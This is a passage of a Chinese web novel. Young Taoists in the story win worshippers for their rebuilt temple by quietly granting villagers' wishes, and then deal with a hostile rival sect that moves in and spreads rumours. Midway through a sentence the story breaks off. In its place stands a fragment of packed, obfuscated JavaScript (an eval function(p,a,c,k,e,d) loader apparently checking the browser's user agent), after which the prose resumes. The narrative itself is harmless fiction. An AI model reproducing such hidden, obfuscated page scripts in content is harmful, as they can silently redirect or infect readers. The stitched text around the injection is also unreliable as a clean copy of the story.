喜鹊们想下去啄果子,撞到金光上却被弹了起来。它们顿时感到一阵灼热,羽毛的边缘被烧焦了。喜鹊们还没遇到过这种情况,十分惊慌,大声叫着逃走了。 段星河抬头望着天空,居然忘了还有这个法子。他松了口气,道:“多谢你了。” 两人又待了一会儿,没见鸟再飞回来。步云邪道:“回去休息吧,这金光天亮自己就消失了。” 段星河捡起了竹竿,和他一起往回走去。夜色清凉,两人走在小路上,把干黄的落叶踩得沙沙作响。步云邪感觉时间过得飞快,好像才刚回来,秋天就已经到尾声了。 他低声道:“星哥,咱们是不是快去那边了?” 段星河嗯了一声,一想起另一个世界的凶险,便有些压抑。两人没再说什么,感受着此刻的安静,心里都有些惆怅。 次日一早,天气十分晴朗。段星河精神抖擞地起了床,去隔壁找李玉真。李道长穿着一身浅青色的道袍,头上梳着道髻,别着一根白玉簪子,目光清澈,举止得体,端的是一派道骨仙风的模样,难怪招小姑娘喜欢。 段星河跟他说了文家姑娘的愿望。李玉真一脸茫然,下意识双手护胸道:“什么意思,你要我出卖色相?” 段星河低声道:“没那么严重,就是跟人家聊聊天,就当帮我个忙行不行?” 李玉真迟疑道:“这不太好吧。” 段星河笑道:“这么古板干什么,有人暗恋说明你长得帅,哪不好了?” 李玉真成天跟在宋胡缨身后,她也不怎么理他,李玉真还以为自己特别招人厌呢。段星河说有女孩儿喜欢他,确实让他找回了一点自信。不过要让他跟不认识的姑娘打交道,他也十分为难。他道:“我有喜欢的人了,这算不算是脚踩两只船?” 段星河觉得他属实多虑了,道:“你那八字还没一撇呢,放心吧,我帮你看住宋姑娘,一定不让她发现。” 话说到这个份上,李玉真只好道:“我知道了,她在哪里?” 段星河道:“她最近在帮她娘卖斗笠,脸上有几个小雀斑,你去寨子门口一看就能找到她。” 李玉真寻思着自己要是借口买斗笠,跟她说几句话就行,也不是件难事。 宋胡缨的门轻轻一动,小对眼先钻了出来。段星河和李玉真顿时闭了嘴,生怕被她听见了。宋胡缨觉得他俩鬼鬼祟祟的,道:“怎么了?” 段星河道:“喔,寨子里有个小女孩的猫丢了,我想让小对眼帮忙找一下。” 小对眼在这里待了三个月,跟附近的野猫都混熟了。宋胡缨把她儿子抱了起来,举到了段星河面前,道:“什么样的猫,你跟它说吧。” 段星河比划道:“橘色的虎斑猫,三岁,公的叫虎子。大前天晚上跟着别的猫跑了,一直没回来,你能帮着找找吗?” 小对眼一只眼看天一只眼看地,一副智慧的模样。冬天快到了,它灰色的毛蓬松松的,又长厚了。宋胡缨道:“明白了吗?” 小对眼嗷地叫了一声,宋胡缨便把它放在地上,道:“去吧。” 小对眼撒腿就跑,一会儿就没影了。段星河道:“它听懂了吗?” 宋胡缨面无表情道:“不知道啊,随缘吧。” 段星河就知道是这样,回头看了李玉真一眼,示意他别忘了答应自己的事。李玉真一脸不情愿地点了点头,表示知道了,不会忘的。 安排完了这些,段星河去厨房拿了点吃的,在屋里歇了一阵子。大约申时过半,就听外头传来一声猫叫,小对眼在外面挠门。段星河过去一看,见小对眼蹲在门前,冲他嗷地叫了一声。 段星河来了精神,道:“找到了吗?” 小对眼扭过头跑了几步,示意他跟上来。步云邪带着墨墨从隔壁出来了,见小对眼撒腿跑了,道:“它找到了?” 段星河提起了早就准备好的竹笼,道:“不知道,去看看。” 两人追着小对眼出了逍遥观,来到了后山。就见一只虎斑猫蹲在一片草丛里,正在舔毛,旁边还有两只玳瑁色的猫咪。小对眼过去嗷了一声,那只橘猫喵喵叫了几声,声音嗲嗲的比小对眼好听多了。它没受伤,不知道这几天去哪儿疯了,也不回家,就是玩。 步云邪现在相信这些动物之间是真的会传话了,这才撒出去半天就找到了。他摸了摸小对眼,夸奖道:“好孩子,多谢你啦。” 小对眼挺自豪,用头蹭了蹭步云邪的腿。段星河从腰包里摸出了几块牛肉干,放在手心里,道:“虎子,过来。” 橘猫听得懂自己的名字,缓步走了过来。段星河把牛肉干喂给它,另外两只玳瑁眼巴巴地望着这边,有点眼馋。段星河对所有的猫都一视同仁,又拿了几块牛肉干放在地上,道:“咪咪,来,我请客。” 那两只玳瑁过来,迅速地把牛肉干叼走了。段星河摸了摸虎子的头,道:“你家人很担心你,跟我们回去吧。” 虎子有些犹豫,回头看它的伙伴。那两只玳瑁有东西吃 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天色渐渐黑了,段星河跟步云邪分头行动,一个去喂猪,另一个去保护柿子树。片刻两人在寨子后面碰了头,段星河把空泔水桶放在路边,道:“怎么样?” 步云邪指了指远处半透明的灵力罩,道:“护住了,你知道这叫什么?” 段星河道:“什么?” 步云邪不满道:“杀鸡用牛刀,我这么大本事给你看果树。” 他虽然抱怨,还是跟来帮忙。段星河笑了,抬手搂住了他肩膀,道:“就当锻炼身体了嘛,走——” 步云邪道:“又干什么去?” 段星河悠然道:“哄孩子睡觉。” 夜深人静,两人来到了一户人家屋外,悄悄上了二楼,把窗户拨开一条缝。 摇篮放在窗边,一个小小的婴儿躺在里头,闭着眼,片刻蹬着手脚,十分痛苦的模样。 “哇哇——哇——” 婴儿哭了起来,因为长期睡不好,声音都十分孱弱。 段星河能看到一股黑色的气萦绕着那孩子,这家房子建在寨子的低洼处,有些聚阴,难怪婴儿总是夜惊。 段星河低声道:“瓜皮,看你的了。” 墨墨已经嗅到了噩梦的味道,迫不及待地飞了起来。它仰起头,深深吸了一口气,只见一道黑气从婴儿周身浮了起来,被墨墨吞进了肚子里。片刻它长舒了一口气,好像吃饱了,又吐出了一道晶莹的白气,温柔地裹住了那个婴儿。 婴儿渐渐感到了一阵舒适,小脸变得舒展安宁了。步云邪在屋子周围转了一圈,找到了阴气的源头,是一些混沌的意识,像一团乱麻一样聚在一个湿漉漉的泥沟里。步云邪凝神写了一道驱邪的符咒,向前一推,金色的符文融入了洼地里,驱散了那些污浊的灵体。 段星河治的是标,步云邪治的才是本。他虽然嘴上说的冷淡,其实心地还是很温柔的。总算忙活完了,段星河捡回了他的泔水桶,站在路边长长地舒了口气。 步云邪道:“累么?” 段星河笑了,道:“有点,你更累吧。” 步云邪道:“是啊,我还以为你不知道呢。” 前头有块大石头,两人擦去尘土坐在上面,半天没说话。头顶的星子明亮,天已经开始凉了,步云邪穿的有点少,鼻尖冻红了。段星河默默地坐得离他近了一点,帮他挡住了一半夜风,体温透过薄薄的衣裳传了过去。步云邪感觉他这几天好像要把一辈子的事都干完似的,道:“你为什么要这样啊?” 段星河道:“怎么了?” “别装傻,”步云邪道,“一天到晚忙成这样,青岩山没了你还能过不下去么?” 段星河确实有心事,而且不想说。他沉默的样子也挺好看的,就是有点气人。步云邪发现只要不追问,这家伙就没下文了。他道:“这些天我给你帮了这么多忙,你怎么想的都不告诉我?” 段星河叹了口气,道:“我得去天外天找小师妹,这一走不知道还能不能回来。师父已经不在了,师娘一个人带那么多孩子不容易。我趁现在都安排好了,给观里多招点香火,万一我死了,也不用担心师娘他们活不下去了。” 他的神色淡淡的,说的话却让人很不好受。步云邪有些动容,道:“别这么想,咱们肯定能好好回来的,师娘也希望你好好的。” 段星河看着他,说出了想了很久的话。 “你是独生子,要不然你留下吧,以后寨子里和观里的事总能有个人管。” 步云邪皱起了眉头,那边那么危险,自己不去岂能放心。他道:“我要跟你去,咱们从小就在一起,什么时候分开过?” 段星河道:“有李兄和宋姑娘,我们能应付的了的。” 步云邪有些生气了,觉得他把自己当成了外人,道:“你去哪儿,我就去哪儿,凭什么带别人不带我?” 段星河道:“可是……如果咱们都回不来了,家里人怎么办?” 步云邪沉默了片刻,轻声道:“那我也不留下,寨子里有那么多人呢,总有能指望的。” 段星河还想说什么,步云邪背过身去道:“你别跟我说这个了,好端端的晦气。” “好好好,”段星河笑了,站起来伸了个懒腰,“就当我没说,别放在心上。” 两人说着话,去星垂殿歇了。次日一早,段星河从寨子门口经过,见李玉真正在跟文家的姑娘说话,眼睛顿时一亮。 经过了一天的心理斗争,李玉真终于行动了。段星河站在一棵凤凰树后面,悄悄地看着那边。女孩儿在路边摆了个摊子,想吸引外来的香客,挣点零花钱。李玉真拿起一个斗笠,道:“这个怎么卖的?” 小文姑娘没想到刚许了愿,暗恋的人就来跟自己搭话了。她十分高兴,又有些紧张,小声道:“三十文一个,那个……你是远道而来的客人,喜欢的话就送给你。” 李玉真还想跟她讲讲价,没想到对方这么热情。他道:“那不行,我给你钱。” 他付了三十文,把斗笠拿在手里,寻思着说两句话就走了,好像有点敷衍。他道:“这是你编的吗?” 文姑娘道:“我和我娘编的。” 李玉真诚心夸道:“手艺真好,我就笨手笨脚的,做不来这些细致活儿。” 文姑娘的脸颊微红,从旁边拿了个竹条编的小蝈蝈,道:“那这个送给你好了。” 那蝈蝈编的活灵活现的,李玉真寻思着小对眼应该挺喜欢的,微微一笑道:“好,多谢你了。” 他站了起来,文姑娘看他要走了,出声道:“李道长——” 李玉真停下来,道:“怎么啦?” 文姑娘鼓起勇气道:“我也想修道,不知道你修的是有情道,还是无情道?” 李玉真怔了一下,没想到她这么直接。他爹倒是天天让他早点相个好姑娘成家立业,但他不想惹麻烦,还是扯了个谎,道:“我……修的是无情道,师父不让谈情说爱的。” 女孩儿露出了失望的表情,李玉真有点内疚感,又不知道该说什么好。她想了想,又道:“那李道长会看相吗,能帮我看看前程吗?” 她伸出了手,掌心长着些茧子,是个勤快人。李玉真端详了一下,真诚道:“你的生命线很长,身体健康,感情运也很好。将来会找到一个疼爱你的好夫婿。” 小文姑娘能跟他说几句话就已经很满足了,也不敢妄想太多。她有些不好意思,又有点惆怅,道:“谢谢,祝你修行顺利。” 李玉真道:“姑娘心灵手巧,日子一定会越过越好的。” 他拿起了斗笠,缓步离开了。段星河掏出他的小本子打了个勾,愉快道:“香火加一。” 李玉真完成了任务,一身轻松。他往前走了几步,忽然见宋胡缨站在前方不远处,正静静地看着这边。李玉真一瞬间有些心虚,不知道她有没有看见自己跟别的女孩聊天,也不知道她心里是怎么想的。 段星河远远地看见了那边的情形,心里也咯噔一下子,暗道:“哦豁,不妙。” 53.青岩山 五 秋风轻轻吹过,路边的凤尾竹轻轻摆动。李玉真手里拿着斗笠,讷讷道:“宋姑娘,早啊。” 宋胡缨一宿没见到小对眼,本来是出来找它的,没想到却意外撞到了李玉真跟别的姑娘拉着手在套近乎。寨子口来来往往那么多人,他居然一点也不害臊。宋胡缨顿时有点幻灭,面无表情地转身走了。李玉真登时就慌了,快步追了上去,喊道:“宋姑娘,等等我——” 段星河看着那两个人的身影,意识到李玉真有麻烦了。他寻思了一下,觉得他俩之间的事自己也不方便插手,还是暂时装作不知道好了。 宋胡缨回到了住处,心里莫名很不高兴,却说不清楚自己为什么会有这种心情。李玉真其实也没做什么,只不过是夸了人家姑娘几句,自己就好像有东西被人抢走了。 她知道李玉真对自己很好,但也没太在乎,但刚才看到他跟那个女孩子说话的时候,她忽然意识到这种情形不可能一直持续下去,总有一天他会离自己而去,扔下她一个人。 宋胡缨从小只有练刀一件事,不怎么会跟人打交道,家里的姑婆婶子背地后里都叫她怪胎。自从认识了李玉真之后,她才有了这么多伙伴,日子也变得有趣起来。 宋胡缨不想回到以前那种独来独往的人生,却又不知道该怎么办。她拿出了斩马/刀,在院子里抡了一圈,练了起来。以前她心情不好的时候就专注地练刀,一练就是一个时辰,出一身汗就把什么烦恼都忘记了。可如今她再怎么练,心情仍然无法平复。 李玉真站在院子门口,见硕大的斩马/刀抡得像风车一样,沉默着一动也不敢动。良久宋胡缨停下来,抹了一把汗,铛地一声把斩马/刀杵在了地上。 李玉真感觉大地都跟着震了一下,看她的样子好像在等自己解释。他小心翼翼地开口道:“刚才就是……我买了她个斗笠,她送了我个蝈蝈,让我看看前程。我就看了一眼,没别的。” 宋胡缨哼了一声,觉得这臭道士就是在找借口摸人家小手,一点都不老实。 李玉真犹豫了一下,道:“宋姑娘,你是不是生气了?” 宋胡缨漠然道:“我没生气,我为什么要生气。” 李玉真寻思了好一阵子,觉得性命攸关,兄弟该卖就卖,于是道:“不是我非要去跟人搭讪,是段兄让我这么干的。” 他把段星河帮人实现愿望的事说了一遍,宋胡缨道:“你们这不是骗人么?” 逍遥观刚重建完成,名声传播出去才有香火,有了香火才能养活这一大家子人。李玉真拿出了段星河忽悠自己的说辞,道:“这不是骗人,这叫募集信仰。先让大家相信,有了力量才会灵验。” 宋胡缨冷冷道:“一派胡言。” 她提着刀走了,李玉真看着她的背影,觉得有点落寞。自己心里一直很喜欢她,却不知道她是怎么看待自己的,什么时候才能对自己不这么冷淡。 段星河暗中观察了一阵子,发现李玉真自从回来了就开始自闭。他寻思着事情是自己惹起来的,有点良心不安,下午拿了几个黄皮石榴过去道:“李兄,吃果子。” 李玉真心情本来就不好,他还拿了石榴过来,一看就难扒。他心情更糟糕了,道:“不吃,拿走。” 当初段星河信誓旦旦地说,会帮忙看住宋姑娘,一定不让她知道这件事,结果还是没做到。李玉真越想越气,觉得自己就不该相信他,恨不能跳起来揍他两拳才解气。 认识这么久了,李玉真还是头一次这么发脾气,段星河反而觉得有点新鲜。李玉真躺在床上,脑袋朝里,像头熊一样窝在被子里不动了。 段星河在床边扯了个凳子坐下了,轻轻碰了碰他,道:“怎么啦?” 李玉真从床里头抓起那个倒霉斗笠扔给他,道:“三十文,给我报销。” 段星河便掏了三十文钱放在桌上,把斗笠戴在了自己脑袋上,觉得还挺合适的。李玉真看了他一眼,悻悻道:“屋里戴帽,一辈子长不高。” 段星河也不生气,悠然道:“别瞎说,是屋里打伞长不高吧。” 他拿了个碗,把石榴掰开,慢慢地剥到碗里。李玉真窝成一团,显得十分沮丧。段星河道:“怎么啦,好兄弟,跟我说说。” 李玉真道:“都怪你,让我去跟人搭讪,宋姑娘看到生气了。” 段星河笑了,李玉真搂着被子坐起来,怒道:“你还笑,有什么好笑的?” 段星河剥着石榴,慢条斯理道:“好事啊,她生气,说明她在乎你。” “她不在乎,”李玉真闷声道,“我话那么多,她巴不得我消失才好呢。” 他还挺有自知之明的,不过他的话虽然多,但不烦人。段星河道:“她对你肯定跟对别人不一样。要是讨厌的人在身边嗡嗡嗡嗡的,她早就动手了。她没赶你走,就是因为不讨厌你啊。” 李玉真生出了一点希望,小声道:“但也仅仅是不讨厌吧,她还不喜欢我呢。” 段星河把一碗石榴放在他面前,安慰道:“来日方长嘛,时间久了她会知道你的好的,喏。” 李玉真吃了一点石榴,感觉酸酸甜甜的,觉得都怪他也不对。段星河也抓了一撮石榴籽吃了,两人互相看了一眼,算是和好了。李玉真道:“帽子你拿去吧,免得宋姑娘看到我戴就生气。” 段星河微微一笑,道:“正好最近赶鸟缺个斗笠呢,多谢了。” 段星河偷摸喂了十来天猪,终于有了成效。那些猪比从前胖了一圈,都认识他了,一见他来就知道是送夜宵的,对他摇头摆尾的十分欢迎。 哗啦一声,段星河把猪食倒在槽子里,煮熟的胡萝卜、南瓜、切碎的菌子,跟人吃得都差不多了。他确实挺擅长养猪的,难怪鼻子长的鼻子短的都喜欢他。步云邪感觉他再这样下去都要改行了,站在一旁道:“你还要喂多久?” 段星河随手拍了拍一头猪的后背,摸起来肉墩墩的,充满了成就感,道:“喂成这样就行了。” 两人出了李家,远处的柿子已经收获完了。几只灰喜鹊绕着树林飞了一阵子,看着光秃秃的柿子树,咔咔地叫了几声,失望地离开了。 前几天步老三收了几十筐大红柿子,拉到镇上去卖了个好价钱。他十分高兴,回到逍遥观还愿,道:“多谢神仙保佑,自从我来许过愿之后,鸟就很少来啄我的果子了。” 卖斗笠的小文姑娘把一大捧墨菊供奉在神像前,喃喃道:“感谢神仙,李道长来跟我说过话了,他人很好,要是我未来的丈夫像他一样善良就好了。” 爷爷进来还愿,小孙女在道观外头玩,跟小伙伴认真地说:“世上真的有神仙,我家虎子丢了,神仙就帮我找回来了。” 另一个小孩儿奇怪道:“什么虎子?” 小女孩儿比划了个花猫脸,道:“虎子就是虎子啊,黄黄的毛,会喵喵叫的……” 段星河帮过的人,都陆陆续续回来还愿了。大家都说逍遥观十分灵验,求什么应什么。名声一传十、十传百,附近镇子上的人都来烧香,甚至还有人慕名远道而来,就为了许愿。 段星河看势头良好,让伏顺专门在前院支了个摊,卖一些养生气功、护身符、经书和线香,答应赚了钱分他一成。伏顺闲着也是闲着,便看着摊儿挣点零花钱。 香客们上了香,有时候会顺道从摊子上买点东西,或者忘带香的直接从这里请一把。日积月累的,也能赚一笔小钱,给观里的孩子们买点衣裳鞋子是够了。 伏顺嘴里叼着根草,懒洋洋地坐在摊子跟前。一个妇人抱着个哇哇哭的孩子过来,道:“小道长,这书我不要了。” 伏顺刚卖出去,道:“为什么?” 妇人道:“书里的图怪吓人的,孩子看了害怕。” 伏顺道:“哪一页害怕,我给你解决。” 他说着接过来,发现一页上有个青面獠牙的夜叉,唰地一下就撕下来了,道:“没事了,拿着吧。” 小妇人没想到当道士可以这么随意,一脸懵的走了。伏顺打了个呵欠,晃了晃身边的钱罐子,听着里头叮当响的动静,惬意地眯起了眼。 半个月的时间,他们就赚了一百多两香火钱。大殿中青烟缭绕,人头攒动,逍遥观的人穷习惯了,还从来没见过这么大的阵仗,还有点不适应。 师娘让年纪大一点的弟子轮流去前头看着,随时给香客帮忙。香客们许完了愿,在附近看看风景便回去了。段星河感觉自己能做的事都做完了,这几天也悠闲了不少。 这天上午,他正在屋里打坐,忽然见小石头从外头跑过来,连声道:“大师兄呢,二师兄呢?” 步云邪从隔壁弟子房里出来了,道:“什么事?” 小石头和小泥鳅站在走廊上,着急道:“不好了,讨厌鬼来了!” 段星河莫名其妙,道:“什么讨厌鬼?” 小泥鳅道:“就是天心观那个大少爷,带着一群人来找事了。这会儿正在前面跟师娘说话呢,你们快去看看吧!” 段星河一诧,怕他们为难师娘,拔腿就往那边跑。人怕出名猪怕壮,逍遥观的名气刚传出去,就把狼招来了。段星河想这事总归躲不过去,幸亏自己还没走,有他们在,刘正阳也不敢放肆。 几人来到了逍遥观的花厅前,赵大海和伏顺等人已经来了,都站在师娘身后。乔月柔的神色淡然,她丈夫虽然不在身边,胜在好大儿多。刘正阳坐在太师椅上,手里端着个茶杯,挑剔地看着周围,一脸嫌弃的模样。 他这一趟带了十来个人,都穿着浅灰色的道袍。修为最高的于九站在他身边,像个保镖一样护着他。双方表面一团和气,实则泾渭分明,暗中都有要压对方一头的意思。段星河调整了一下呼吸,缓步走进去道:“刘兄,你怎么来了?” 刘正阳放下了茶盏,皮笑肉不笑地道:“是段兄啊,我听说你们这边最近重建了,这么大的好事,怎么都不跟兄弟说一声啊?” 他带了这么多大男人挤在这里,不像是来做客的,倒像是来欺负孤儿寡妇的。 步云邪也走了进来,站在了师娘身边。刘正阳跟他对视了一眼,想起了被他放蜂咬伤的事,皱起了眉头。步云邪微不可察地翻了个白眼,显然也很讨厌他。 段星河道:“正要跟你们说,最近忙的有点顾不过来了。” 刘正阳抬手随意地指了一下,道:“我爹让我送点贺礼来,不成敬意,还请你们笑纳。” 段星河来的时候就看见了,墙角堆着些棉布、腊肉之类的。他们来看穷亲戚,随便从家里带了点东西,也没怎么用心。段星河淡淡道:“替我多谢刘师叔。刘兄远道而来,吃顿斋饭再走吧。” 刘正阳一诧,没想到刚来他就赶自己走,属实是有点不客气了。他还打算留下来好好气他们一阵子,扬起嘴角一笑,道:“不着急,兄弟们好不容易来了,准备在这里住几天。段兄不会不欢迎吧?” 段星河心里恨不得一脚把他踹出去,但前头还有香客,总不能让人家看笑话。他微微一笑,道:“当然欢迎,伏顺、大海,带客人们去厢房。” 刘正阳便站了起来,从步云邪身边经过,专门停下来道:“步大祭司,我爹给了我一块上品朱砂,能避世间一切毒虫,你看如何?” 他说着一掸衣襟,露出一块朱红的挂饰。步云邪神色淡淡的,道:“刘兄得到宝贝是好事,我也替你高兴。” 刘正阳记着旧仇,低声道:“你这回还有什么本事,都使出来吧。” 步云邪只当没听见,微微一笑,做了个请的动作。他的身姿挺拔,那一笑端的是俊美无俦。刘正阳一时间怔住了,有些恨他,又有点说不上来的感觉。于九轻咳了一声,提醒道:“师侄,走么?” 刘正阳这才回过神来,意识到了自己的失态,觉得自己好像总是赢不了他。他迈步出了门,其他人跟着他去了后头厢房,暂时落了脚。 李玉真坐在屋门前,手里拿着根竹竿,一头用绳子拴着个草编的蝈蝈晃来晃去。小对眼跳起来,跟着草蝈蝈扑来扑去,玩的十分高兴。 他有点百无聊赖,打了个呵欠,见段星河从前面过来了,道:“段兄,讨厌鬼住下啦?” 刘正阳就在前面的院里,他声音这么大,真不怕被听见。段星河道:“住下了。” 李玉真道:“香客在这儿住还给香火钱呢,他们怎么好意思白待的?” 天心观毕竟是他们的兄弟门派,看在师父的面子上,段星河也不能对他们太不客气了。 “随他去吧,”段星河道,“没人搭理,他们自己就走了。” 他接过了竹竿,在小对眼面前一顿乱晃,显然心情也不怎么好。小对眼被他晃得眼花缭乱,忽然一口咬住了草蝈蝈,呜呜地拍了它几下,烦躁果然是会传染的。 李玉真道:“光晾着就行么?” 段星河靠在墙边道:“让厨房做几天青菜豆腐,他不是觉得咱们穷么,就穷给他看。先前来还给他们炖羊肉,就是惯的。” 他们以前日子清苦,有点钱都得买成衣裳鞋子,把门面装起来,客人来了还要杀猪宰羊请人吃饭。现在有钱了,反而想怎么样就怎么样,不怕别人瞧不起自己了。 李玉真感慨道:“那句话怎么说的来着,穷人小心翼翼地扮富,富人大大方方地装穷,诚不欺我。” 段星河不想在外面待着,免得再碰到刘正阳。他转身进了屋,道:“我歇一会儿,有事再说。” 段星河回屋睡了一觉,下午出去转了一圈。今天步云邪在前头值班,他扫干净了地,把一捧墨菊插在水瓶里,便站在一旁,静静的像是入了定。有香客注意到了他,觉得此人的气质出尘,心中暗暗赞叹他一表人才,忍不住要多看他几眼。 段星河拿了个杌子坐在屋檐下的阴凉里,远处的蝉鸣阵阵。今天不太热,没有风也很舒适。 一个书生拿着一把香,点着了刚要许愿,火忽然就灭了。书生觉得有点奇怪,又凑在黄纸上点燃了,青烟袅袅升起。他刚松了口气,就见香噗地一下子又灭了。 书生的脸都青了,扭头看周围,不知道是怎么回事。段星河抬起眼,见那书生的肩膀上蹲着一个黑乎乎的小鬼,撅着腚鼓着腮帮子,正在给他吹气儿。 香一灭,那小鬼就乐不可支,仿佛觉得给人捣乱十分有意思。 看那家伙身上还带着土腥气,这书生应该最近去过坟地,或是走了夜路,沾上了不干净的东西。 书生的眼睛下头有两个深深的黑眼圈,显然是被这促狭鬼骚扰了一阵子了,今天来应该就是为了这件事。 敢跟到这里捣乱,这小鬼也是不知天高地厚。段星河盯了它一眼,手里冒出了几点紫色的灵光,露出了威慑之意。那小鬼吓了一跳,嗖地一下子跳到了地上,没命地逃走了。 书生忽然感觉肩膀一轻,身上的疲惫感消失了大半。段星河站起来,把书生手里的那把香撅了,换了把新的给他,道:“刚才那把潮了,别往心里去。” 书生不好意思起来,道:“多……多谢道长。” 段星河摆了摆手,示意他不必拘束。几个香客站在一棵大松树下聊天,一个妇人道:“我大老远来的,这里灵吗?” 李大婶热情道:“灵啊,我家猪怎么养都胖不起来,前阵子我来拜过之后,那些猪就像吹气儿似的胖起来了,简直神了!” 那中年妇人喔了一声,若有所思。李大婶道:“你来求什么?” 她指了一下在正殿跪着的年轻妇人,道:“我儿媳嫁过来五年了,一直没孩子,我陪她来求嗣。” 李大婶说:“那可得多捐点香火,说不定神仙一高兴,赐给你们个大胖小子呢。” 妇人便笑了,道:“有孩子就成,孙子孙女儿都不挑了。” 一个天心观的人从旁边经过,冷笑了一声。李大婶见他也做道士打扮,却穿一身灰,这里的道士都是穿蓝袍的。她道:“小道长,你笑什么?” 那人道:“我听说这里的道士六根不净,常跟女众勾勾搭搭的。你们可得小心着点,来这儿求子,生的孩子指不定是谁的种呢。” 段星河皱起了眉头,没想到他们当着面就敢造谣。他正想过去,就见伏顺扔下摊子从前头过来了。他呸的一声吐了嘴里的草棍儿,道:“你胡说八道什么?” 那人一时间有些尴尬,却又不服输,道:“说的就是你,你看你贼眉鼠眼的,一看就不是什么好人。逍遥观收你这样的弟子,肯定是上梁不正下梁歪!” 他不但骂了伏顺,连带着把他的师兄弟和师父都一起骂了。伏顺道:“你这人满脑子都是乌七八糟的东西,看人也脏。你师兄怎么好意思把你带出来丢人现眼的?” 香客们见两个道士在这里吵起来了,有些不知所措。那妇人去大殿里叫了她儿媳出来,烧完香就坐着轿子走了。段星河不想让他们再继续丢人,过去道:“干什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他回过头来,见段星河的大手攥着他的肩膀,眼神冰冷地盯着他。吴天一瞬间仿佛听见了猛兽的咆哮,有种不寒而栗的感觉。 他道:“你……你干嘛?” 段星河阴沉道:“管好你们的嘴,别乱说话。” 吴天被他的气势慑住了,一时间竟不敢反抗。段星河重重一把搡开了他,那人往前踉跄了一步,心里实在害怕,就这么逃了。天心观的几个人站在前方不远处,静静地看着这边,带头的正是于九。 段星河跟他对视了一眼,于九扬起嘴角一笑,眼神却是冰冷的。两人没再说话,于九招了招手,懒散地带着人走了。 步云邪道:“你们怎么了?” 段星河道:“没什么。” 他看了步云邪一眼,他穿着一身干净的道袍,目光清澈,一派谪仙的气质。他简直想不通,对这么好的人,他们怎么能说出那种话的? 段星河道:“最近你别去前面了,回寨子里歇两天吧。” 步云邪的目光变幻,猜到了是刘正阳他们说了些不堪入耳的话,难听程度他大概也有所了解。那些人实在太讨厌了,他若是走了,段星河就得一个人应付他们。步云邪道:“你嫌我碍事啊?” 段星河道:“不是,这边人多,你休息不好。” 步云邪道:“我在哪儿都能睡得着。” 伏顺忍不住说了实话,道:“二师兄,刘正阳非跟你作对,他跟你记仇呢。” 步云邪笑了,论记仇他也不输给别人。他道:“怕什么,步家寨子这么多人,我在自己家门口能让他们欺负了么。” 三个人说着话,到了厨房院外。就听里头七嘴八舌的,有人道:“怎么只有青菜豆腐啊……连点油星都不见,太抠了吧。” 另一人埋怨道:“一点礼数都不懂,咱们大老远来看他们,他就这么待客的?” 于九道:“随便吃点吧,又不是在自己家。” 一人道:“小师叔,咱们什么时候能回去啊?” 于九懒懒道:“看情况。” 那人道:“什么情况。” 于九把饭菜装在食盒里,道:“看少主的情况。他什么时候要走,咱们就跟着。他要留,咱们也不能抱怨,这是做小弟的本分。” 一人提醒道:“小师叔,咱们是修道的,不是混道上的,老是大哥小弟的不合适吧。” 于九哈哈一笑,道:“忘了忘了,我是你师父花钱雇来的。我拿他当大哥,他拿我当师弟,我俩各论各的,你们随意。” 他说着,提着食盒出来了。段星河等人悄然站在竹林后,等着他们走远了。几人互看了一眼,步云邪道:“那个于九倒是挺洒脱的,做事也有分寸,很聪明,跟别人不一样。” 段星河也有同感,觉得卿本佳人,奈何做贼。于九凡事以利益为先,只要能挣钱,在哪儿都无所谓。不过那些都不重要,他沉默着,好像有点不高兴。步云邪道:“怎么了?” 段星河道:“于九有什么好夸的,不就是个普通人么?” 步云邪扬眉道:“夸两句怎么了,看你小气的。” 段星河双手抱着臂道:“那帮人没一个正常的,衬得他人五人六的,其实也就那样。” 步云邪只是垂了眼笑,没再说什么。伏顺不知道他俩在为什么较劲儿,摸了摸肚子道:“能吃饭了吗,我饿了。” 段星河道:“走吧。” 伏顺寻思着白天的事,心里总是气不过。赵大海拿了个铜盆在一边搓衣裳,见他一直心气不顺的模样,道:“怎么了?” 伏顺把事情跟他说了,赵大海也生气起来,道:“哪有这么诬人清白的,他们住在咱们这儿还胡说八道,也太不知好歹了吧!” “可不是么,”伏顺道,“你是没看见,大师兄脑门上青筋都暴起来了,差点就动手揍人了。” 赵大海为难道:“那也不太好吧,刘正阳他爹毕竟跟咱们师父是师兄弟呢。门规上说,兄弟阋墙,杖二十。” 伏顺呸了一声,道:“咱们拿他当兄弟,他们可没把咱们当人看。以前嫌咱们穷,现在咱们有钱了,他又来阴阳怪气。看不顺眼还要来,有病吧。” 赵大海叹了口气,道:“是有病,吃多了撑着了。” 伏顺道:“你说他们现在又憋什么坏呢?” 赵大海道:“能憋什么坏?” 伏顺从床上坐起来,穿上鞋就往外走。赵大海道:“你干嘛去?” 伏顺开了门,看着前头的院墙,低声道:“我不放心,听听他们说什么。” 赵大海甩了甩手上的水,在裤子上擦着手,道:“你等等,我和你一起去。” 夜色渐渐浓了,两人穿过月洞门,猫着腰来到了客房外的走廊上。刘正阳住在西头,屋里亮着一盏灯,映出了他的影子。伏顺冲着那个身影一记勾拳,赵大海怕他被人发现了,揪着他脖领子蹲了下来,就听屋里传来了于九的声音。 “……下午吴天跟他们在正殿前吵架,说步云邪勾引女香客,差点打起来。” 刘正阳喔了一声,神色显得有点不自在。于九看了他一眼,道:“是你让他说的?” 刘正阳道:“我让他说这个干嘛。身正不怕影子斜,那姓步的小子要是没干过,为什么恼羞成怒。” 于九道:“他没恼羞成怒,不过段星河挺火大的。咱们在人家地头上,你能不能别招惹他们?” 刘正阳抬头看着他,道:“小师叔,我爹让你来保护我,不是让你来教训我的。你还整天跟别人说做小弟的要守本分,那你教我做事干什么?” 于九的脸一沉,露出了几分威严,跟平时吊儿郎当的态度很不一样。他道:“我是你爹的小弟,不是你的小弟。就算在关公面前,你也得喊我一声叔。你爹让我看着你,我就不能让你出事!” 刘正阳也知道小师叔是为了自己好,但就是不服气。他轻蔑道:“就算我骂他几句又怎么了,那小子长得不男不女的,我看了就来气。” 于九觉得他简直莫名其妙的,道:“人家长得好看关你什么事,你嫉妒啊?” 刘正阳道:“呸,我嫉妒他干什么。” 于九沉默了良久,忽然道:“不是吧……你该不会是看上人家了吧?” 